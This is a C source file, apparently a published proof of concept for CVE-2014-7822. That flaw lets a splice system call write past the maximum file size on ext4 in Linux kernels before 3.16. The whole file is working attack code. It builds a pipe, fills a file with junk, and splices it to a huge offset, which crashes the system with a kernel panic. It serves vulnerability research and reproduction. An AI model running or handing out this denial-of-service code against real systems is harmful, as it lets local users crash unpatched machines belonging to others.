/* ----------------------------------------------------------------------------------------------------
* cve-2014-7822_poc.c
*
* The implementation of certain splice_write file operations in the Linux kernel before 3.16 does not enforce a restriction on the maximum size of a single file
* which allows local users to cause a denial of service (system crash) or possibly have unspecified other impact via a crafted splice system call,
* as demonstrated by use of a file descriptor associated with an ext4 filesystem.
*
*
* This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
* Works on ext4 filesystem
* Tested on Ubuntu with 3.13 and 3.14 kernels
*
* Compile with gcc -fno-stack-protector -Wall -o cve-2014-7822_poc cve-2014-7822_poc.c
*
*
* Emeric Nasi - www.sevagas.com
*-----------------------------------------------------------------------------------------------------*/
/* ----------------------- Includes ----------------------------*/
#define _GNU_SOURCE
#include <fcntl.h>
#include <stdio.h>
#include <unistd.h>
#include <errno.h>
#include <string.h>
#include <stdlib.h>
#include <limits.h>
#define EXPLOIT_NAME "cve-2014-7822"
#define EXPLOIT_TYPE DOS
#define JUNK_SIZE 30000
/* ----------------------- functions ----------------------------*/
/* Useful:
*
+============+===============================+===============================+
| \ File flag| | |
| \ | !EXT4_EXTENTS_FL | EXT4_EXTETNS_FL |
|Fs Features\| | |
+------------+-------------------------------+-------------------------------+
| !extent | write: 2194719883264 | write: -------------- |
| | seek: 2199023251456 | seek: -------------- |
+------------+-------------------------------+-------------------------------+
| extent | write: 4402345721856 | write: 17592186044415 |
| | seek: 17592186044415 | seek: 17592186044415 |
+------------+-------------------------------+-------------------------------+
*/
/**
* Poc for cve_2014_7822 vulnerability
*/
int main()
{
int pipefd[2];
int result;
int in_file;
int out_file;
int zulHandler;
loff_t viciousOffset = 0;
char junk[JUNK_SIZE] ={0};
result = pipe(pipefd);
// Create and clear zug.txt and zul.txt files
system("cat /dev/null > zul.txt");
system("cat /dev/null > zug.txt");
// Fill zul.txt with A
zulHandler = open("zul.txt", O_RDWR);
memset(junk,'A',JUNK_SIZE);
write(zulHandler, junk, JUNK_SIZE);
close(zulHandler);
//put content of zul.txt in pipe
viciousOffset = 0;
in_file = open("zul.txt", O_RDONLY);
result = splice(in_file, 0, pipefd[1], NULL, JUNK_SIZE, SPLICE_F_MORE | SPLICE_F_MOVE);
close(in_file);
// Put content of pipe in zug.txt
out_file = open("zug.txt", O_RDWR);
viciousOffset = 118402345721856; // Create 108 tera byte file... can go up as much as false 250 peta byte ext4 file size!!
printf("[cve_2014_7822]: ViciousOffset = %lu\n", (unsigned long)viciousOffset);
result = splice(pipefd[0], NULL, out_file, &viciousOffset, JUNK_SIZE , SPLICE_F_MORE | SPLICE_F_MOVE); //8446744073709551615
if (result == -1)
{
printf("[cve_2014_7822 error]: %d - %s\n", errno, strerror(errno));
exit(1);
}
close(out_file);
close(pipefd[0]);
close(pipefd[1]);
//Open zug.txt
in_file = open("zug.txt", O_RDONLY);
close(in_file);
printf("[cve_2014_7822]: POC triggered, ... system will panic after some time\n");
return 0;
}
